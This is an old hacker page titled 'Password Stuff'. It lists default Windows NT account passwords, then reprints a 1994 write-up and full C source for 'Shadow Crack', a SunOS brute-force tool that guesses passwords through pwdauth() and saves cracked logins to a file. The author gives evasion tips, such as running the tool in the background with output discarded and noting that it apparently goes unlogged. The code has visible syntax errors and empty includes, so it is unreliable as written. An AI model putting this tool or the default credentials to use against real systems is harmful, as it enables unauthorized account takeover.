PASSWORD STUFF

This page is all about the many different types of passwrod encryption and how to crack them. We'll start off with the basics of the older days, and cover 8-bit to 128-bit encryption algorithms. Password encryption is always changing due to the demands of keeping access limited. Cracking programs have had some success with older operating systems encryption, but newer more complicated techniques are used today.
Links to sites about passwords:
http://www.webdon.com
http://www.passwordtools.com
Some common Username/Passwords for Win NT:
administrator: administrator,NULL,password
arcserve: arcserve, backup
test: test, password
lab: lab, password
username: username, company_name
backup: backup
tivoli: tivoli
symbiator: symbiator, as400
backupexec: backup
Well, a while back, I saw an article in phrack which included a brute force
password cracker for unix. This was a nice idea, except that these days
more and more systems are moving towards the shadow password scheme. This,
for those of you who are new to unix, involves storing the actual encrypted
passwords in a different file, usually only accessible to root. A typical
entry from a System V R4 password file looks like this :-
root:x:0:1:Sys. admin:/:/bin/sh
with the actual encrypted password replaced by an 'x' in the /etc/passwd
file. The encrypted password is stored in a file(in the case of sysV)
called /etc/shadow which has roughly the following format :-
root:XyfgFekj95Fpq:::::
this includes the login i.d., the encrypted password, and various other
fields which hold info on password ageing etc...(no entry in the other
fields indicate they are disabled).
Now this was fine as long as we stayed away from system V's, but now a
whole load of other companies have jumped on the bandwagon from IBM (aix)
to Suns SUNOS systems. The system I will be dealing with is SUNOS's
shadowed system. Now, like sysV, SUNOS also have a system whereby the
actual encrypted passwords are stored in a file usually called
/etc/security/passwd.adjunct, and normally this is accessible only by root.
This rules out the use of brute force crackers, like the one in phrack
quite a while back, and also modern day programs like CRACK. A typical
/etc/passwd file entry on shadowed SUNOS systems looks like this :-
root:##root:0:1:System Administrator:/:/bin/csh
with the 'shadow' password file taking roughly the same format as that of
Sys V, usually with some extra fields.
However, we cannot use a program like CRACK, but SUNOS also supplied a
function called pwdauth(), which basically takes two arguments, a login
name and decrypted password, which is then encrypted and compared to the
appropriate entry in the shadow file, thus if it matches, we have a valid
i.d. & password, if not, we don't.
I therefore decided to write a program which would exploit this function,
and could be used to get valid i.d's and passwords even on a shadowed
system!
To my knowledge the use of the pwdauth() function is not logged, but I could
be wrong. I have left it running for a while on the system I use and it has
attracted no attention, and the administrator knows his shit. I have seen
the functions getspwent() and getspwnam() in Sys V to manipulate the
shadow password file, but not a function like pwdauth() that will actually
validate the i.d. and password. If such a function does exist on other
shadowed systems then this program could be very easily modified to work
without problems.
The only real beef I have about this program is that because the
pwdauth() function uses the standard unix crypt() function to encrypt the
supplied password, it is very slow!!! Even in burst mode, a password file
with 1000's of users could take a while to get through. My advice is
to run it in the background and direct all its screen output to /dev/null
like so :-
shcrack -mf -uroot -ddict1 > /dev/null &
Then you can log out then come back and check on it later!
The program works in a number of modes, all of which I will describe below,
is command line driven, and can be used to crack both multiple accounts in
the password file and single accounts specified. It is also NIS/NFS (Sun
Yellow Pages) compatible.
How to use it
-------------
shcrack -m[mode] -p[password file] -u[user id] -d[dictionary file]
Usage :-
-m[mode] there are 3 modes of operation :
-mb Burst mode, this scans the password file, trying the minimum number
of password guessing strategies on every account.
-mi Mini-burst mode, this also scans the password file, and tries most
password guessing strategies on every account.
-mf Brute-force mode, tries all password strategies, including the use
of words from a dictionary, on a single account specified.
more about these modes in a sec, the other options are :-
-p[password file] This is the password file you wish to use, if this is
left unspecified, the default is /etc/passwd.
NB: The program automatically detects and uses the
password file wherever it may be in NIS/NFS systems.
-u[user id] The login i.d. of the account you wish to crack, this is used
in Brute-force single user mode.
-d[dict file] This uses the words in a dictionary file to generate
possible passwords for use in single user brute force
mode. If no filename is specified, the program only uses the
password guessing strategies without using the dictionary.
Modes
^^^^^
-mb Burst mode basically gets each account from the appropriate password
file and uses two methods to guess its password. Firstly, it uses the
account name as a password, this name is then reversed and tried as a
possible password. This may seem like a weak strategy, but remember,
the users passwords are already shadowed, and therefore are deemed to
be secure. This can lead to sloppy passwords being used, and I have
came across many cases where the user has used his/her i.d. as a
password.
-mi Mini-burst mode uses a number of other password generating methods
as well as the 2 listed in burst mode. One of the methods involves
taking the login i.d. of the account being cracked, and appending the
numbers 0 to 9 to the end of it to generate possible passwords. If
this mode has no luck, it then uses the accounts gecos 'comment'
information from the password file, splitting it into words and
trying these as passwords. Each word from the comment field is also
reversed and tried as a possible password.
-mf Brute-force single user mode uses all the above techniques for password
guessing as well as using a dictionary file to provide possible
passwords to crack a single account specified. If no dictionary filename
is given, this mode operates on the single account using the
same methods as mini-burst mode, without the dictionary.
Using shadow crack
------------------
To get program help from the command line just type :-
$ shcrack
which will show you all the modes of operation.
If you wanted to crack just the account 'root', located in
/etc/passwd(or elsewhere on NFS/NIS systems), using all methods
including a dictionary file called 'dict1', you would do :-
$ shcrack -mf -uroot -ddict1
to do the above without using the dictionary file, do :-
$ shcrack -mf -uroot
or to do the above but in password file 'miner' do :-
$ shcrack -mf -pminer -uroot
to start cracking all accounts in /etc/passwd, using minimum password
strategies do :-
$ shcrack -mb
to do the above but on a password file called 'miner' in your home
directory do :-
$ shcrack -mb -pminer
to start cracking all accounts in 'miner', using all strategies except
dictionary words do :-
$ shcrack -mi -pminer
ok, heres the code:
/* Program : Shadow Crack
Unix type : SUNOS Shadowed systems only */
#include
#include Place all the basic
#include files here to make
#include the program work
#include
#define WORDSIZE 20 /* Maximum word size */
#define OUTFILE "data" /* File to store cracked account info */
void word_strat( void ), do_dict( void );
void add_nums( char * ), do_comment( char * );
void try_word( char * ), reverse_word( char * );
void find_mode( void ), burst_mode( void );
void mini_burst( void ), brute_force( void );
void user_info( void ), write_details( char * );
void pwfile_name( void ), disable_interrupts( void ), cleanup();
char *logname, *comment, *homedir, *shell, *dict, *mode,
*pwfile, *pwdauth();
struct passwd *getpwnam(), *pwentry;
extern char *optarg;
int option, uid, gid;
int main( int argc, char **argv )
{
disable_interrupts();
system("clear");
if (argc < 2) {
printf("Shadow Crack - (c)1994 The Shining\n");
printf("SUNOS Shadow password brute force cracker\n\n");
printf("useage: %s -m[mode] -p[pwfile] -u[loginid] ", argv[0]);
printf("-d[dictfile]\n\n\n");
printf("[b] is burst mode, scans pwfile trying minimum\n");
printf(" password strategies on all i.d's\n\n");
printf("[i] is mini-burst mode, scans pwfile trying both\n");
printf(" userid, gecos info, and numbers to all i.d's\n\n");
printf("[f] is bruteforce mode, tries all above stategies\n");
printf(" as well as dictionary words\n\n");
printf("[pwfile] Uses the password file [pwfile], default\n");
printf(" is /etc/passwd\n\n");
printf("[loginid] Account you wish to crack, used with\n");
printf(" -mf bruteforce mode only\n\n");
printf("[dictfile] uses dictionary file [dictfile] to\n");
printf(" generate passwords when used with\n");
printf(" -mf bruteforce mode only\n\n");
exit(0);
}
/* Get options from the command line and store them in different
variables */
while ((option = getopt(argc, argv, "m:p:u:d:")) != EOF)
switch(option)
{
case 'm':
mode = optarg;
break;
case 'p':
pwfile = optarg;
break;
case 'u':
logname = optarg;
break;
case 'd':
dict = optarg;
break;
default:
printf("wrong options\n");
break;
}
find_mode();
}
/* Routine to redirect interrupts */
void disable_interrupts( void )
{
signal(SIGHUP, SIG_IGN);
signal(SIGTSTP, cleanup);
signal(SIGINT, cleanup);
signal(SIGQUIT, cleanup);
signal(SIGTERM, cleanup);
}
/* If CTRL-Z or CTRL-C is pressed, clean up & quit */
void cleanup( void )
{
FILE *fp;
if ((fp = fopen("gecos", "r")) != NULL)
remove("gecos");
if ((fp = fopen("data", "r")) == NULL)
printf("\nNo accounts cracked\n");
printf("Quitting\n");
exit(0);
}
/* Function to decide which mode is being used and call appropriate
routine */
void find_mode( void )
{
if (strcmp(mode, "b") == NULL)
burst_mode();
else
if (strcmp(mode, "i") == NULL)
mini_burst();
else
if (strcmp(mode, "f") == NULL)
brute_force();
else
{
printf("Sorry - No such mode\n");
exit(0);
}
}
/* Get a users information from the password file */
void user_info( void )
{
uid = pwentry->pw_uid;
gid = pwentry->pw_gid;
comment = pwentry->pw_gecos;
homedir = pwentry->pw_dir;
shell = pwentry->pw_shell;
}
/* Set the filename of the password file to be used, default is
/etc/passwd */
void pwfile_name( void )
{
if (pwfile != NULL)
setpwfile(pwfile);
}
/* Burst mode, tries user i.d. & then reverses it as possible passwords
on every account found in the password file */
void burst_mode( void )
{
pwfile_name();
setpwent();
while ((pwentry = getpwent()) != (struct passwd *) NULL)
{
logname = pwentry->pw_name;
user_info();
try_word( logname );
reverse_word( logname );
}
endpwent();
}
/* Mini-burst mode, try above combinations as well as other strategies
which include adding numbers to the end of the user i.d. to generate
passwords or using the comment field information in the password
file */
void mini_burst( void )
{
pwfile_name();
setpwent();
while ((pwentry = getpwent()) != (struct passwd *) NULL)
{
logname = pwentry->pw_name;
user_info();
word_strat();
}
endpwent();
}
/* Brute force mode, uses all the above strategies as well using a
dictionary file to generate possible passwords */
void brute_force( void )
{
pwfile_name();
setpwent();
if ((pwentry = getpwnam(logname)) == (struct passwd *) NULL)
{
printf("Sorry - User unknown\n");
exit(0);
}
else
{
user_info();
word_strat();
do_dict();
}
endpwent();
}
/* Calls the various password guessing strategies */
void word_strat()
{
try_word( logname );
reverse_word( logname );
add_nums( logname );
do_comment( comment );
}
/* Takes the user name as its argument and then generates possible
passwords by adding the numbers 0-9 to the end. If the username
is greater than 7 characters, don't bother */
void add_nums( char *wd )
{
int i;
char temp[2], buff[WORDSIZE]
if (strlen(wd) < 8) {
for (i = 0; i < 10; i++)
{
strcpy(buff, wd);
sprintf(temp, "%d", i);
strcat(wd, temp);
try_word( wd );
strcpy(wd, buff);
}
}
}
/* Gets info from the 'gecos' comment field in the password file,
then process this information generating possible passwords from it */
void do_comment( char *wd )
{
FILE *fp;
char temp[2], buff[WORDSIZE];
int c, flag;
flag = 0;
/* Open file & store users gecos information in it. w+ mode
allows us to write to it & then read from it. */
if ((fp = fopen("gecos", "w+")) == NULL) {
printf("Error writing gecos info\n");
exit(0);
}
fprintf(fp, "%s\n", wd);
rewind(fp);
strcpy(buff, "");
/* Process users gecos information, separate words by checking for the
',' field separater or a space. */
while ((c = fgetc(fp)) != EOF)
{
if (( c != ',' ) && ( c != ' ' )) {
sprintf(temp, "%c", c);
strncat(buff, temp, 1);
}
else
flag = 1;
if ((isspace(c)) || (c == ',') != NULL) {
if (flag == 1) {
c=fgetc(fp);
if ((isspace(c)) || (iscntrl(c) == NULL))
ungetc(c, fp);
}
try_word(buff);
reverse_word(buff);
strcpy(buff, "");
flag = 0;
strcpy(temp, "");
}
}
fclose(fp);
remove("gecos");
}
/* Takes a string of characters as its argument(in this case the login
i.d., and then reverses it */
void reverse_word( char *wd )
{
char temp[2], buff[WORDSIZE];
int i;
i = strlen(wd) + 1;
strcpy(temp, "");
strcpy(buff, "");
do
{
i--;
if ((isalnum(wd[i]) || (ispunct(wd[i]))) != NULL) {
sprintf(temp, "%c", wd[i]);
strncat(buff, temp, 1);
}
}
while(i != 0);
if (strlen(buff) > 1)
try_word(buff);
}
/* Read one word at a time from the specified dictionary for use
as possible passwords, if dictionary filename is NULL, ignore
this operation */
void do_dict( void )
{
FILE *fp;
char buff[WORDSIZE], temp[2];
int c;
strcpy(buff, "");
strcpy(temp, "");
if (dict == NULL)
exit(0);
if ((fp = fopen(dict, "r")) == NULL) {
printf("Error opening dictionary file\n");
exit(0);
}
rewind(fp);
while ((c = fgetc(fp)) != EOF)
{
if ((c != ' ') || (c != '\n')) {
strcpy(temp, "");
sprintf(temp, "%c", c);
strncat(buff, temp, 1);
}
if (c == '\n') {
if (buff[0] != ' ')
try_word(buff);
strcpy(buff, "");
}
}
fclose(fp);
}
/* Process the word to be used as a password by stripping \n from
it if necessary, then use the pwdauth() function, with the login
name and word to attempt to get a valid id & password */
void try_word( char pw[] )
{
int pwstat, i, pwlength;
char temp[2], buff[WORDSIZE];
strcpy(buff, "");
pwlength = strlen(pw);
for (i = 0; i != pwlength; i++)
{
if (pw[i] != '\n') {
strcpy(temp, "");
sprintf(temp, "%c", pw[i]);
strncat(buff, temp, 1);
}
}
if (strlen(buff) > 3 ) {
printf("Trying : %s\n", buff);
if (pwstat = pwdauth(logname, buff) == NULL) {
printf("Valid Password! - writing details to 'data'\n");
write_details(buff)
if (strcmp(mode, "f") == NULL)
exit(0);
}
}
}
/* If valid account & password, store this, along with the accounts
uid, gid, comment, homedir & shell in a file called 'data' */
void write_details( char *pw )
{
FILE *fp;
if ((fp = fopen(OUTFILE, "a")) == NULL) {
printf("Error opening output file\n");
exit(0);
}
fprintf(fp, "%s:%s:%d:%d:", logname, pw, uid, gid);
fprintf(fp, "%s:%s:%s\n", comment, homedir, shell);
fclose(fp);
}